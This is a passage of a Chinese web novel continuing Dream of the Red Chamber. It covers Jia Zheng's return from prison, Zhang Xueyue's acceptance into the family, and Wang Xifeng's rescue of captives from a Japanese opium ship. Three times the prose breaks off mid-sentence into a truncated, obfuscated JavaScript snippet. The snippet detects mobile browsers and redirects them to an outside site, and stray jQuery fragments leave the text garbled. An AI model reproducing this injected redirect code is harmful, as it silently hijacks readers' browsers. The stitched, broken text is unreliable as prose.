贾珠一直带人在外面打探消息,贾政因有事想找林如海商议,便让贾珠先带着贾赦和贾蓉回家,又让他告诉贾母王夫人等,说自己平安无事,一会儿就回家。 贾政没有耽搁,就起身去了林如海处。二人商议了很久,贾政回到薛家时,天已经黑了。 府邸明日才能归还,贾母王夫人等仍住在薛家。 此时贾珠和薛蟠都在大门口等着贾政,远远看到贾政的马车到了,薛蟠就向里面喊道“姨夫回来了!” 贾政掀开马车的帘子,就看到门口早站了一大群人。虽没有经历生离死别,但面对这样的场合,贾政反而有些怯怯的。 他不知道如何面对这些真心关怀他的人。难道要说实情吗?说入狱都是他计划中的事? 贾政晃了晃头,努力让自己不再去想。 他晕晕乎乎随着贾珠和薛蟠进了院子,径直来到贾母住的屋子。贾赦和贾蓉早安置了下来,邢夫人和尤氏已经在照顾他们了。 此时贾母处,只有王夫人薛姨妈和孩子们等着贾政,都是最担忧他的人。 贾政让自己挤出一个笑容,又拍了拍身上的灰尘,这才进了屋。 像贾政预料的一样,贾母在哭,王夫人薛姨妈流了泪,孩子们抱在一起哭,贾政却要让自己笑出来。 贾政走到贾母跟前,直接跪倒在地,重重磕了三个头,才抬头道“儿子不孝,让母亲担忧了!” 众人又悲又喜,叙话直到深夜,要不是看到贾母累了,大约还能再谈一会儿。 人太多,王夫人也不好细问贾政,二人回到屋子,又让送他们过来的孩子们都去安歇了,这才有时间说话。 王夫人亲自服侍贾政更衣净面,贾政也不阻拦,放任自己享受夫人的照顾。待贾政清洗干净坐到榻边,王夫人又从锦盒中拿出一串佛珠戴在了贾政颈间,轻笑道“那日被我扯断了,我又重新穿好,还是老爷戴着比较好。” “坐着说说话好不好呢?不要忙了?”贾政伸手将夫人拉到他腿上坐下,紧紧抱着夫人,又将头靠在她肩上。 “老爷在狱中受苦了···”王夫人叹道。 “哪有?一点苦都没受!”贾政偏要逞强,不巧抬起了手腕,瞬间冒了冷汗。 “老爷哪里疼?快让我看看!”王夫人察觉到异常,忙要起身检查贾政哪里受伤了。 “明天再看好不好呢?不过是一点擦伤···”贾政轻抚着夫人的脊背,又道“我只想这样抱着你,再没有别的奢求了···” 贾政顺势躺在了榻上,仍抱着夫人不放,在她耳畔轻声道“这些日子让你们担心,是我的错。老太太也因此生了病,我实在是罪大恶极了!” “老爷以后若再有预感或是提前做什么事,哪怕不能明说,也提醒一下我,不然也不好劝老太太的。”王夫人叹道。 “哪有那么多的磨难呢?这次都差点抄了家,下次难道杀头吗?我可万万不敢了!”贾政轻笑道。 “老爷总是这样喜欢开玩笑···”王夫人又叹气了。 “不要叹气了,我向你保证,从广州回来后,我们全家回到金陵平平安安过日子···”贾政柔声道。 “广州?老爷要去广州吗?”王夫人撑起身子,直直看着贾政,不错过他的一点表情。 一时口快说错话,贾政忍不住心里埋怨自己,本来是打算过两天搬回那边再说的。 “夫人不要着急,不过是有公事要去广州,大概半个月后启程吧!”贾政解释道。 “这么着急吗?老爷的伤还没有养好呢?”王夫人又开始担忧了。 “我总是因为不想让你担忧而少说话,最后却让你更担忧了···”贾政叹道,他摩挲着夫人的脖颈,又道“夫人再信我一次吧!” “去广州有危险吗?”王夫人问道。 贾政一时不知如何回答,想说实话又不敢说实话。 “肯定是有危险了!”王夫人见贾政犹豫,立刻猜到。 “为我担心可以,但不要再哭了,好不好?”贾政抚摸着夫人脸颊,忽然轻轻吻了她的右眼。夫人颤巍巍的睫毛蹭得他唇瓣痒痒的,贾政又在她颊畔落下一吻。 “这样才乖呢!以后再不听话,就亲一下!”贾政看夫人安静了下来,不由得又想打趣她,说着话,还摸摸夫人的头。 在王夫人面前,贾政总是有无数的玩笑话想说。他喜欢看到她因为羞涩微微红了的脸庞,和因为紧张而颤抖的眼睫。他喜欢看到她笑。 * 次日一早,在忠顺王爷来之前,贾政先将处理结果告诉了贾母等人。 贾母虽担忧贾琏和贾珍被流放,但听到是去金陵,也只好让自己接受。这个结果已经是她们前几天想都不敢想的了。 贾母最害怕的就是收到贾赦和贾政的死讯。她已经七十多岁了,从没经过太大的波折。 让她白发人送黑发人,她自己心里很清楚,恐怕无法撑得下去。 贾赦本卧病在床,虽风寒已经好了,但心思郁结,如今仍是病怏怏的。他听说贾琏和贾蓉判了流放金陵,立刻想到了贾琏在外的妻子。贾赦也知道张雪月怀孕的事,心里知晓这也许是他这房仅存的血脉了,而自己病重无法看顾,也不知还有几年可活。 他便拖着病体来到贾母处,亲自说了这事。 贾母本应该生气的,生气贾琏行事荒唐,可是看到头发半白的长子,又想到即将流放的孙子,也只能流泪答应将张雪月接回来照顾。 王夫人和探春忙着搬家回那边去,贾母便让邢夫人和李纨去接张雪月。 贾琏入狱后两天,张雪月才从兄长那里知道了情况。 张济世匆匆忙忙来到妹妹这里,看到妹妹的瞬间,张济世痛恨自己当初为何能为了一点好处就答应了贾琏。 “贾琏他入狱了···”张济世说罢,眼看着妹妹面色煞白,就要摔倒。他忙上前扶住妹妹,让她坐了下来。 “你总该为了肚里的孩子想一想啊!千万不要倒下了!”张济世叹道。 张雪月犹自流泪,又问道“可知道为了什么?” “我已让人去贾府打听了,听说他们家的大老爷二老爷和那府里的大爷也都入狱了。”张济世道。 “那么就是没有转圜的余地了?”张雪月问罢,眼泪再也止不住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249847|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “听说还有希望,你先别急,我自然会让人时时打听的。”张济世又安慰道。 “只是我想问你一件事···”张济世犹豫道。 他看妹妹没有反应,就小声道“若救不出来···你就和我回家吧,孩子生下来算作咱们张家的就好,我如何能让你一个人孤孤单单在外面呢?” 说到这里,张济世自己也落了泪。 兄妹俩沉默许久,张济世也不敢再出口问什么。 “大哥先去打探消息吧,以后的事,以后再说吧!”张雪月止住了眼泪,看向窗外。眼前是一片虚影,就像她无数次等贾琏回来所看到的一样。她只能看到虚影。 在绝望的等待中过了二十多天,张雪月努力让自己吃一点东西,即便如此,也是吃多少吐多少。她回忆和贾琏新婚时的日子,她开始恨自己。 张雪月没想到自己能等来贾家人上门,来的人竟然还是自己名义上的婆婆和大嫂。 邢夫人受了贾赦的叮嘱,此时面对张雪月也很慈祥,没有一点鄙夷的神情,她摆出自己最和善的笑容面对这个儿媳妇。 李纨更是亲和温柔,张雪月被如此礼遇,心里纵有无数惊喜也需勉强压制。 “以前都是琏儿那孩子做了糊涂事,今日你便和我们回家吧,咱们贾家的儿媳妇,总不能一直这样住在外面。”邢夫人握着张雪月的手,柔声笑道。 “不知道二爷如今···?”张雪月试探问道。 邢夫人看了一眼李纨,李纨便扶着张雪月的肩膀,这才解释道“他和珍大哥犯了事,如今判了流放···” “只是你先别担心,他们是流放到金陵的,金陵又是咱们家的老家,到时不过使些银子打点,不用受苦的。过几年若遇上大赦天下,也就不用服役了···”李纨又安慰道。 张雪月深呼吸一口气,让自己冷静下来,这才说道“全凭太太和大嫂子安排···” 邢夫人和李纨带着张雪月回了荣府,贾母见了张雪月,也很是慈祥地嘱咐了几句,并没有苛责。又让邢夫人带她去见贾赦。 贾赦虽然关心未出世的孙子孙女,但对张雪月也只是面上关心了几句,就让邢夫人看着安排了。 邢夫人经此抄家一事打击,竟然生出一种从未有过的耐心温和脾气。 眼看着贾赦病重,贾琏流放,自己日后再无依靠。如今送上门一个儿媳妇和未来孙子。邢夫人也就当张雪月是自己亲儿媳妇照顾。对她关怀备至,怕她烦闷无聊,也常带她到王夫人处和姑娘们说笑。 张雪月在荣府安置了下来,她拥有了婆婆的关爱和许多姐妹,却再没见过丈夫贾琏。 * 贾琏和贾珍启程那日,是贾珠薛蟠与贾蓉去送的。贾蓉要将父亲贾珍送到金陵。 薛蟠几年历练下来,也颇懂得人情世故。他随便说了几句话,就和衙役熟络了起来。 他们带了四个年轻力壮的小厮,雇了两辆车,让小厮一路跟随着。又给了衙役两百两银子,让好生照顾贾琏与贾珍。并许诺衙役,到了金陵,自然还有赏赐。 衙役哪里不知道金陵薛家和贾家,接了这样一个好差事,早就暗自庆幸了,此时听了叮嘱又拿了银子,也都对贾琏与贾珍很是恭敬。不仅将他们的枷锁脚镣去了,还让他们坐上了马车。 贾琏心里一直挂怀着张雪月,此时将要分别,也不敢再有隐瞒,就对贾珠道“大哥哥,我做了糊涂事,在外面又娶了人,却没告诉老太太···” “别担心,弟媳妇已经接回来了,如今在家里养胎呢!”贾珠拍了拍贾琏肩膀安慰道。 “老太太和太太没有怪罪吗?”贾琏又惊又喜。 贾珠笑了笑,回道“老太太可疼她了,太太也很是关怀她。待日后孩子生下来,再让她们到金陵看你!” 贾琏忍不住落了泪,庆幸张雪月母子性命无碍,又能进荣府得到照料。 贾珍仍因为自己的爵位被贾蓉得了而生气,虽然他也有孝心,要送自己去金陵,但仍不愿意正眼看他。贾珍又对贾珠道“记得告诉你大嫂子,让她好好打理家事,我虽在外面看不到,但蓉儿回了京肯定要和她好好算清楚的!” 看着贾珍仍这样对待尤氏,贾珠也默默叹了口气,心里为大嫂子不值。 只是口上宽慰道“大哥二弟一路顺风···” 90.海阔天高任翱翔 新年刚过,王熙凤就辞别父母,从金陵出发了。她们计划先到广州,再坐船去南洋。 王熙凤为了后续考虑,已经在广州城西南边租了一大间铺子,专为做之后的洋货贸易。也提前添置了两只商船,都是当时最先进的造船技术制造的。 王熙凤既然决心在海外贸易上大展雄才,自然样样都要好的。不只为了运输中的安全考虑,这也是一种排场。若真的弄条上不得台面的小船,恐怕也不容易取得别人的信任。 越往南走,气候越和暖。而真正的海洋也与湖泊大不相同。 平儿与晴雯坐船从京城到金陵,如今也很少因为不适应海浪颠簸而晕船了。 她们并不着急赶路,凡遇到可停靠的港口,都要上岸看一看的。船行了一个月,才刚到嘉定。 嘉定是南海国一处繁华的港口。来往东西贸易的船只,大部分要在这里靠岸补给。 本地人皮肤黝黑,说的话王熙凤更是不懂。但她却乐得穿行其中,感受此地湿暖的季风与芳香的水果气味。 平儿的语言天赋惊人,她只待了两天,很快就会说几句常用的越南话了。晴雯更是很少出门,好不容来了这么远的陌生国土,兴趣更是浓厚,少不得走到哪里都要求着平儿一起。 在王熙凤心中,平儿样样都好,只是为何那个金色头发高鼻梁蓝眼睛的西洋人总是缠着平儿呢? 那个西洋人因为不小心撞到了平儿,与她说了一句话后,自此步步紧跟着她们。哪怕她们身后的护卫们早已说明不许再跟,这个西洋人毫不气馁,笑起来还要露出两排牙齿。 王熙凤觉得西洋人的牙齿白得晃眼睛,她就紧紧挽着平儿的手臂,不想让她有片刻离开自己的视线。 “姑娘不舒服吗?怎么拉的这样紧?”平儿侧身问王熙凤。却不料王熙凤只是皱了皱鼻子,并没有回答。 平儿只当王熙凤不舒服,或是被这里咸湿的气味弄的头昏脑胀,立刻就吩咐人要回去了。也不管晴雯在身后央告着想再逛一会儿。 回到宿处,王熙凤仍有些闷闷不乐。平儿拿了一颗丸药和茶杯,送到王熙凤面前,柔声道“姑娘吃一颗药,就没有那么不舒服了。” 王熙凤却抬头道“平儿,你觉得嘉定好吗?” “是挺繁华的,还有许多不曾见过的东西。只是无论如何也比不上广州,金陵。”平儿笑道。 王熙凤心里满意,便拿起茶杯喝了一口茶,问道“这是什么茶?从来没喝过呢!” 平儿笑了笑,答道“不是茶叶,是榴莲壳煮的水···” “你竟然拿这玩意儿糊弄我!”王熙凤将茶杯重重放下,还哼了一声。 平儿忙解释道“姑娘最近有些上火,吃了几副药也不管用。我特意问了本地人,他们说用榴莲壳煮水可以去火,我这才让人煮了给姑娘喝的。” 说罢,看王熙凤脸色仍不太好,又柔声劝道“姑娘若是不喜欢,我就去换了你常喝的茶叶好不好呢?” 王熙凤见平儿就要去泡茶,便开口阻止道“我不过是开玩笑呢!其实也没有那么难喝,反而甜甜的,不信你尝一尝?”说着,就拿了自己刚喝过的茶杯递到平儿面前。 平儿犹豫了一下,才轻轻抿了一口,也笑道“的确甜甜的···” “平儿,我们明天就走吧,我不想在嘉定待着了。”王熙凤说道。 “那我这就吩咐下去···”平儿听了又要找管事去了。 “忙什么,话还没说完呢?你现在怎么性子这样急了?”王熙凤笑着伸手将平儿拉到自己旁边坐下。 “你就没有什么舍不得的吗?”王熙凤又问。 平儿有些摸不着头脑,说道“不过才来了几天,哪有什么舍不得的?姑娘问的好生奇怪。” “那就好!”王熙凤脸上的笑容越大了。 “咱们出来也有一个多月了,先将写好的信寄回去,还有我给姑父的那封,到了广州让他们加急去送。”王熙凤又叮嘱道。 平儿看王熙凤笑颜如初,便放心去做事了。王熙凤靠在窗边,远眺着港口处密布的船只。 不一会儿,王熙凤看到了楼下平儿的身影,忍不住叫了她的名字。 平儿一抬头,就看到王熙凤朝她笑,自己也笑了一下。只是刚转身低头,就看到了白天撞了她的那个西洋人。 “你有事吗?”平儿礼貌笑了笑。 西洋人语速很快地说了一串话,平儿哪里听得懂,就道“我听不懂···” “我叫安德烈。”西洋人笑道,突然伸出手想抓平儿的手。 平儿还来不及反应,就看到安德烈的手被打了一下,他立刻痛得缩了回去。平儿定神一看,原来王熙凤挡在了她和安德烈中间。 “你问他,好端端的,怎么做这样的下流事!”王熙凤恨声道。 平儿也不好照样说一遍,只是问道“你刚才为什么那样做?” 安德烈有些尴尬地笑了笑,回道“这是我们那里人的礼节,绝对没有不尊重你的意思。” 平儿忍不住笑了笑,又如实对王熙凤说了。王熙凤仍然气不过,瞪了安德烈一眼,拉着平儿的手就要走了。 “不要走,我有话对你们说!”安德烈说着,又想伸手拉平儿。 无奈王熙凤的眼神实在太过凶狠,安德烈缩回了手。 “有什么事快说!我们可没有功夫听你胡言乱语。”王熙凤说罢,就示意平儿转述。 安德烈回道“我工作的船上,他们绑了几个汉人,我想你们都是同乡,应该想救他们。” 平儿很敏锐地意识到这件事必定大有文章,就对王熙凤道“姑娘,他那条船上有汉人被绑了,我想这是不是和二老爷交代的事情有关系?不如将这个人留下,好好问一问。” 王熙凤听了,自然也很重视,只是又不愿意平儿再和安德烈独处,就吩咐丫鬟立刻去叫懂英格兰话的管事。 “跟上吧!可别走丢了!”王熙凤回头对安德烈扔下一句话,又要拉着平儿走。 平儿跟着王熙凤的步伐,不忘回头对安德烈解释道“跟我们来。” * 这栋房子只有两层高,二楼三间屋子住人,一楼用来起居议事的。 王熙凤走得急,三两步就到桌前坐了下来,自己拿了榴莲水喝了一大口,想到这是平儿特意为自己做的,才觉得将方才的火气压下去一点了。 不一会儿,管事就来了,王管事自小就为王家做事,是王家的家生奴才。他英文法文和倭国话都会听会说。 王管事一来,王熙凤就示意他与安德烈说话。 “你刚才说,看到船上有汉人被绑了?”王管事问安德烈,为的是确认清楚。 安德烈点点头。 “是什么船?你在这船上做什么事的?”王管事又问。 “一只倭国的商船,他们从印度拉货物到广州售卖的。我是船上的大副。”安德烈笑了笑。 平儿起身道“坐着说吧”,手指了指椅子,安德烈也就坐了下来。 “那几个汉人是他们从哪里绑的呢?”王管事又问。 “在马六甲海峡那边的一处港口,这几个人是在另一只中国船上,我听不懂中国话也听不懂倭国话。只看到倭国人抢了中国船,又将这几个人绑到船上来。”安德烈答道。 “你眼看着他们抢汉人却不阻拦,你也不是什么好人。”王熙凤说罢,就让王管事原样转述给安德烈。 安德烈听了却笑了笑“我如果要插手的话,恐怕早就被扔进海里喂鱼了。” 平儿听罢却微微点头,也赞成安德烈没有鲁莽行事。 这更引得王熙凤生气,只是现在不能发作,她只好耐着性子继续听王管事和安德烈的对话。 “你能不能想办法传递信件给他们呢?”王管事又问。 安德烈点了点头。 “既如此,你写封信问清楚他们的经历,再让安德烈把信带给他们。”王熙凤吩咐道。 说罢,王熙凤就打算离开了。 安德烈看着平儿也要跟着走,忙问道“你们拿什么谢我呢?”说罢,又对平儿笑了笑。 “你若帮了我们大忙,自然有重谢的。”平儿说罢,也不久留,就随着王熙凤上楼了。 平儿也看出王熙凤并不喜欢安德烈,上楼后看她又闷闷不乐的,自己也不敢提起安德烈说的事了。 * 一直到了晚上,平儿见王熙凤仍没有食欲,就准备自己做点东西给她吃。刚下楼,就看到王管事正和急匆匆跑来的安德烈说话。 “怎么样,回信呢?”平儿问道。安德烈将信递给平儿。 平儿见安德烈满头大汗,心里也很感谢他这样诚心帮忙,就道“你在这里歇一会儿,我去问问姑娘看有没有别的吩咐。” 平儿拿了信上楼,就看到王熙凤在门口站着,就笑道“姑娘快来看信!”说罢,就拉着王熙凤进去,又掩了门。 王熙凤接过信与平儿一起看了。二人看罢信,均是面色沉重。 “真没想到误打误撞竟然遇到了姑父叮嘱的事!”王熙凤叹道。 “现在可怎么办呢?我们能救出这些人吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你在画画吗?”安德烈问道,说罢,又指了指晴雯手中的针线。 “这是花样子,就是衣服上的···”晴雯也知道他听不懂,就指了指裙摆上的一朵荷花。 安德烈会意,又见这荷花绣得极精致,俯下身子想摸一摸,岂料却被晴雯踹了一脚,晴雯怒道“原来洋人也都是登徒子!” 说罢,晴雯就上了楼,也不理会安德烈的局促。 晴雯上楼时和平儿擦肩,又对平儿道“楼下那个洋人,真是个登徒子,平姐姐小心被他欺负了去!” 平儿笑了笑,猜到可能又是误会了,就对晴雯道“也许是你们互相说话听不懂,就有误会了吧!” “才不管什么误会不误会的,他做出这样的事,踹一脚还算轻的!”晴雯哼了一声,就回了屋子。 “我好像惹你的朋友生气了。”安德烈看到平儿下楼,就说道。 “没关系,我已经和她解释过了。”平儿笑了笑,又道“请坐吧。” “今天有件事情想麻烦你,不知道你愿不愿意帮忙。我们可以给你一千两的报酬。”平儿见安德烈坐了下来,就正色道。 “我并不是姑娘以为的胆小怕死的人,倭人要害汉人,我也应该帮汉人的忙。”安德烈道。 “明日是这里的祭祀节,到时会非常热闹,想必倭国人也都会来凑热闹吧。”平儿问道。 安德烈点点头“倭国人很喜欢过节,我今早也听他们提起了这件事。” “若他们大部分人下了船,这就罢了,如果下船的人不多,我们会想办法吸引他们下船。”平儿解释道“只是难免船上会留几个看守的人···” “你想让我将这几个人怎么办呢?”安德烈问道。 平儿递给他一包粉末,说道“将这个放到他们的食物或者水里面,一个时辰就晕过去了。” “这倒是个好东西!”安德烈接过去,还闻了闻,并没有发现特别的味道。 “到时船上没有了倭国人看守,我们会派一只小船靠近,你只要负责接应就好了。带我们的人去找被绑的汉人。”平儿又道。 “天黑看不清人,我怎么分辨是不是你们的人呢?”安德烈问道。 平儿心里对安德烈的谨慎也有几分赞赏,就回道“我们的人头上戴的帽子,是特殊的丝线做的,用火把一照,帽子上会有一条很明显的横线。到了夜间你就知道了。” 平儿说罢,又叮嘱道“你一定要仔细记清楚了,到时万万不能有一点疏漏的···” “姑娘为何这样相信我呢?”安德烈却问道。 91.一番风雨路三千 平儿心里笑了笑,却答道“因为你是个值得信赖的人。” 安德烈听了,又露出一个大大的笑容。 “这是五百两银子,事成之后,再将剩下的给你。”平儿又递给安德烈一个布包。 “沉甸甸的。”安德烈接过之后笑了笑。 “你们汉人都这么有钱吗?”安德烈又问道。 “任何地方的人,都分有钱的和没钱的。”平儿回道。 “反正我是穷光蛋,要不然也不会为倭国人做事了。”安德烈又笑了笑。 “你已经做到大副了,他们给你的工钱可不少呢?”平儿问道。 “航行在大海上的生活,实在太寂寞了”安德烈看向远处熙熙攘攘的人群,正为过节做着准备。又转身对平儿说道“我的钱挥霍在了各个港口···” “美酒和女人”安德烈看着平儿,又补充道。 平儿立刻意识到安德烈的意思,心里涌上了怒意,只是面上不显,淡淡道“话都说完了,还请你不要忘了我们的约定。” 平儿上了楼,在门口又平复了一会儿,才推门进去了。她没有告诉王熙凤安德烈最后说的混账话,不想因为自己而让王熙凤意气用事。 “都叮嘱过了,钱也给他了。”平儿回道。想了想,又问道“‘他若中途放鸽子,怎么办呢?” “他不敢的。”王熙凤笑了笑,又道“难道他不怕倭国人知道他串通咱们的事吗?” “他是一个人在倭国人船上做事的,咱们可是一帮子人,若真想惩治他,也容易得很。”王熙凤笑了笑。 平儿仍有些担心,却道“就怕万一他是个蠢人,将咱们的大事搅黄了,到时无论如何惩治他也无法挽回咱们的损失。” “你才下去一趟,怎么对他的看法变化这么大了呢?”王熙凤好奇道。 平儿忙回道“并没有什么,只是因为事情关系重大,我太紧张了。” “你不相信他,难道还不相信姑娘我嘛?”王熙凤朝平儿笑了笑,又是那样运筹帷幄的自信笑容,平儿被王熙凤的笑容感染,也忍不住笑出了声。 “姑娘,我有时候真的觉得,你像个大将军呢!”平儿坐到了王熙凤身旁。 “真的吗?”王熙凤挑了下眉毛,笑得嘴角也翘了起来。 “多少男子也比不上姑娘!”平儿又赞叹道。 “你这小蹄子,怎么今日这么会说话!”王熙凤在平儿眉心轻轻点了一下,又揽着她肩膀,笑道“我只当你说的句句都是真心话呢!就怕日后都被你骗了去,那我可就惨了!” “怎么会有这种事,姑娘又打趣我了。”平儿笑了笑,也任自己半个身子靠着王熙凤。 “姑娘,这事若办成了,咱们就不去孟买了是吗?”平儿问道。 “恐怕倭国人纠缠着不放,咱们应当尽快回到广州将事情报告给姑父。”王熙凤答道。 平儿点点头,反而放了心。 “你不想去孟买吗?”王熙凤又问。 “咱们才走到嘉定,就遇上了这个事,只怕再走远些,遇到的人更复杂,也更危险了···”平儿轻声道“倭国人惯常要抢汉人的船,若咱们的船也被抢了,可如何是好呢?” 说到这里,平儿似乎已经想到了那样的画面,紧紧握住王熙凤的手臂,又道“万一他们也将姑娘劫了去,到时谁又去救你呢!” “有你来救我啊!”王熙凤笑道。 “我若也被劫去了,又怎么办!”平儿急了,声音都比往常高了一些。 王熙凤拍了拍平儿的脊背,安抚道“那咱们就一起跳海吧!海里有那么多鱼,咱们每人抱一只鱼,就这样飘回广州,金陵···” * 嘉定人的祭祀节,像中国的上元节那样,晚上最是热闹。这里又临海,夜幕降临后,当地人围着篝火唱歌跳舞,还要在水上划船放荷灯。 倭国人的确喜欢凑热闹,当天下午就陆陆续续有一半船员下了船到城里过节。安德烈也让王熙凤守在那里的人传了信来。 王熙凤早有打算,就让晴雯领着二十多个男男女女,扮作本地人的样子,也拿着许多节日的物件,浩浩荡荡向港口走去了。他们特意在倭国人的船前多绕了几圈,这样一番近距离的引诱,自然又让一部分倭国人心甘情愿下了船。 平儿给安德烈的一包迷药此时也派上了用场。厨房的倭国人最喜欢喝酒,安德烈拿了一大瓶烈酒送给他,他开心的不得了,半瓶酒下肚,也不知道是喝醉了还是迷药起了作用。 其他人也很习惯厨师烂醉如泥的样子,并不觉得异常,安德烈趁机把迷药倒进了饭菜里。 * 太阳落在了海的那边,港口上的人们便欢呼了起来。 安德烈检查了一遍,船上留下来看守的倭国人都晕了过去,他立刻去甲板上等着王熙凤派来的手下。 天渐渐黑下去,远处灯火通明,近处是黑漆漆的海面。 安德烈突然听到汉人在说话,用火把一照,果然看到他们头上亮闪闪的几道横线。安德烈忍不住笑了笑,惊叹汉人在细节上的聪慧之处。 王熙凤派来的手下都是做事稳重的汉子,二十来个人乘一只略小一点的船,扔了绳子上来,很快一一爬上了倭国人的船,并没有发出多余的声音。 安德烈又忍不住赞叹。 领头的人是王管事,他压低声音对安德烈道“都安排好了?” 安德烈点了点头。 王管事回头对手下比了个手势,二十个人立刻分成四队,神情都很严肃。 “走吧,先去救人。”王管事道。 安德烈走在前面带路,他原本没有那么紧张的,此时被这些人感染了,也不由得更严肃认真了起来。 关押汉人的地方在最底下的货舱,一路沿着台阶向下,狭窄的通道完全看不清楚路,他们也不敢举着火把,只让前面的人拿着火折子照亮。 这里满是浓烈的腐臭味,火光照亮了被关押的汉人的脸庞,王管事忙道“你们总共有几个人,快跟我走吧!”说罢,就吩咐人为他们解开了绳索。 被关押的总共有八个汉人,都是那只船上的管事,倭人觉得他们有用,这才被留下了性命。 在这样恶劣的环境里,有五六个人已经无法直立行走,只能被人扶着。只有一个人神志清醒,说话也很有条理,这人便是那日写了回信的,叫做刘青。 “货物就在旁边的货舱里,你们来的人足够搬走吗?”刘青问道。 王管事点了点头,又道“你留下看着我们搬东西,第二队和第三队的先将人背出去,安置到咱们的船上。” 货舱门口躺着两个晕倒的倭国人,王管事俯身试了试他们的鼻息。 货舱门一打开,扑面而来的浓郁香味,瞬间盖住了原本的腐臭味。 “这个味道确实香得异常,我第一次闻到时差点晕了过去!”刘青咧嘴笑了笑。 王管事看着这么多木箱,暗暗计算着要搬多长时间,那只小船能不能装得下。迅速想罢,就吩咐人开始搬运。 二十多人足足搬了一个时辰,才搬完了一半。王管事心里焦急,自己去亲自上到甲板观察情况,只怕中途倭国人回来了。 此时安德烈和刘青也都站在甲板,远眺着正围着篝火跳舞的人群。 安德烈突然听到了几句倭国人的声音,他再熟悉不过了,忙对王管事道“他们回来了,快走!” 王管事迅速查点手下人数,让他们放下箱子,立刻集合回到小船上去。 饶是这样整肃的队伍,也差点被倭国人撞了个正着。安德烈坐在小船上,仍心有余悸,只怕再晚一步,事情就暴露了。 “你担心什么?”王管事朝安德烈笑道。 “我怕撞到他们啊!”安德烈手放在胸口,不住地轻轻拍打。 “你看!”王管事指着远处倭国人的船。 他们的小船速度很快,这一会儿已经走出数百米了。 安德烈顺着王管事手指的方向看去,只见黑漆漆的海面上突然冒出一点火光。 远处的火光越来越大,很快吸引了城里欢庆过节的人。 许多不知情况的人,只以为这也是节日的一部分,眼看着火焰变大,竟更大声欢呼了起来。 火焰在顷刻之间照亮了一大片海面,安德烈看清楚了船身的几个大字。他虽不认识,但也知道这是船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王熙凤摇了摇头,回道“他不会这么做的,有一千两银子在手,我想他会一路挥霍着回到西洋去的!” “安德烈倒罢了,只是为何好不容易救出来的几个汉人也要迷晕呢?”平儿低声道。 王熙凤凑到平儿耳畔,才回道“我担心他们也会泄漏机密,还是让他们一路睡着回广州吧。万一中途生事,处理起来也麻烦。” 平儿点点头,也认可了王熙凤的说法。 “那些货物你见了吗?”王熙凤又问平儿。 “姑娘让我去清点的时候,恰巧有一个箱子破了,里面的东西掉了出来,王管事要拿麻绳扎好,我就打开看了一下。”平儿解释道。 “那天晚上船烧着后的味道可真难闻!”王熙凤现在想起来,都忍不住要皱皱鼻子。 “不过是一小块褐色的膏体,谁能想到会是这种味道。”平儿又道“只是我却想不明白,这东西为何价值高昂?忠顺王爷和倭国人都要兴师动众地贩运···” 王熙凤忽然从袖袋中拿出一个小盒子,对平儿笑道“要试试吗?听说像鼻烟那样,是用来闻的···” 平儿脸上明显地抗拒,犹豫一会儿才回道“恐怕这个东西会祸患无穷的,姑娘还是不要拿这个玩了···” 话还没说完,平儿就看到王熙凤打开盒子,将里面一小块东西拿了出来,又放在鼻子跟前闻了一下。 “姑娘,不要!”平儿伸出手刚要阻止时,就看到王熙凤猛地一掷,就将那玩意儿扔到了海里。 “逗你玩的,姑父早就说过这东西的危害了,我哪里敢试呢?”王熙凤回头,脸上带着逗趣的笑容。 “吓我一跳!”平儿本来已经要从王熙凤手中抢过来了,没想到她却在开玩笑。 王熙凤突然双脚踩到了最下层的栏杆上,展开双臂,又闭上了眼睛。平儿看着害怕,双手牢牢抓着王熙凤的袖摆。 “平儿,你觉得在海上好玩吗?”王熙凤开口道。 平儿此时心里只想着万一她掉下去了可怎么办,就随口答道“并不那么好玩,姑娘快下来吧!” “海风和江面的风大不相同,我觉得很好玩呢!”王熙凤说罢,伸手也想将平儿拉上来,回头却看到平儿双眼中满是担忧。王熙凤笑了笑,自己也下来了。 平儿松了一口气,又为王熙凤拢好了头发,说道“这里风大,咱们回去吧。” “平儿,咱们以后还要一起去许多地方的,你要慢慢适应呢!”王熙凤说罢,自顾自牵着平儿的手,二人并肩回了船仓。 92.寒风未尽花先笑 贾珍和贾琏被流放去了金陵,贾蓉跟随送行。宁府如今只剩了尤氏一个主子,和一百来个仆人。细说起来,实在寂寞凄凉些。 王夫人也觉得让尤氏孤单单待在那边,恐怕也不安全,得到贾母的许可后,王夫人就让尤氏搬来了荣府住。 往常热闹繁华的宁府,因为没了主人,瞬间冷清了下来。即使常有人打扫,却少了人气,房顶与地面都渐渐长了杂草。下人们见主子也不怎么回来,更懒的收拾,每日喝酒斗牌,玩得不亦乐乎。 尤氏本就是个心慈面软的人,对待下人总也无法使出狠厉的办法,知晓了那边的情况后,倒也将管事们叫来训过几次话,只是大约下人们也感受到了宁府的败落,竟都不怎么在意。尤氏心里的这些苦楚,也只能和李纨说一说。 她心里想的是,等贾珍和贾蓉从金陵传来消息后,自己不如也搬回金陵,京城的奴仆能打发的就打发了。 贾兰还不到四岁,但话说得已经很流利了。李纨满心都想着要好好教儿子读书,因此也没心思帮着管理家事,都让探春去做了。王夫人知道李纨的想法,也了解她的性子并不适合管理这一大家子,反而也叮嘱李纨平日照顾孩子就好,不需操心家事。 